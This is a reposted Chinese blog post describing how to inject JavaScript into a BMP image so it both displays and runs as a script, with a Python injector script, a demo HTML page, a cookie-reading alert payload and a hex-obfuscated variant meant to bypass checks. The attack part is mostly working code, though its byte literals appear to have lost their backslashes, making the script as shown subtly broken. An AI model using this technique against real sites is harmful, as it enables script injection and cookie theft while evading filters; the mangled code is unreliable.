• 图片攻击-BMP图片中注入恶意JS代码 <转载>


    昨天看到一篇文章《hacking throung images》,里面介绍了如何在BMP格式的图片里注入JS代码,使得BMP图片既可以正常显示, 也可以运行其中的JS代码,觉得相当有趣。 执行JS注入的脚本 关键:构造符合正常BMP格式的图片 步骤 1. 将原BMP文件的第三,第四字节替换x2Fx2A, 对应js中的注释符号/* BMP文件的第三、四、五、六字节表示BMP文件的大小 2. 在BMP文件末尾添加 (1)xFF 2x2Ax2F,对应的js中的注释符号*/ 3x3Dx31x3B,对应的=1; 是为了伪造成BMP格式 (4)定制的JS代码 BMPinjector.py源码如下(Macro Ramili原本的源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #!/usr/bin/env python2.7
    import os
    import argparse
    def injectFile(payload,fname):
            f = open(fname,"r+b")
            b = f.read()
            f.close()
     
            f = open(fname,"w+b")
            f.write(b)
            f.seek(2,0)
            f.write(b'x2Fx2A')
            f.close()
     
            f = open(fname,"a+b")
            f.write(b'xFFx2Ax2Fx3Dx31x3B')
            f.write(payload)
            f.close()
            return True
     
    if __name__ == "__main__":
            parser = argparse.ArgumentParser()
            parser.add_argument("filename",help="the bmp file name to infected")
            parser.add_argument("js_payload",help="the payload to be injected. For exampe: "alert(1);"")
            args = parser.parse_args()
            injectFile(args.js_payload,args.filename)

    演示 下面演示实际效果 运行脚本,将指定的JS代码写入到正常的BMP图片中 格式:python 脚本名 -i 正常BMP格式图片 JSPayload

    python BMPinjector.py -i 1.bmp "alert(document.cookie);"

    演示页面run.html

    1
    2
    3
    4
    5
    6
    7
    <html>
    <head><title>Opening an image</title></head>
    <body>
    <img src="1.bmp">
    <script src="1.bmp"></script>
    </body>
    </html>

    运行 http://xxx/run.html 加载中... 也可以采用js混淆来绕过检查,得到和上面一样的效果

    python BMPinjector.py -i 1.bmp "var _0x9c4c="x64x6fx63x75x6dx65x6ex74x2ex63x6fx6fx6bx69x65"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"

    注意:x64x6fx63x75x6dx65x6ex74x2ex63x6fx6fx6bx69x65对应document.cookie

    参考: http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html

  • 相关阅读:
    外部排序分析
    C++读写CSV文件
    springMVC之annotation优化
    用Scertify Professional实现代码审查
    flash与字符串:字符串与属性
    题目描述:字符串查找
    matlab遗传算法
    开发传感器应用
    Java 高效 MVC & REST 开发框架 JessMA v3.2.1 即将发布
    基于drools创建自己的关系操作符
  • 原文地址:https://www.cnblogs.com/demonspider/p/3394231.html
Copyright © 2020-2023  润新知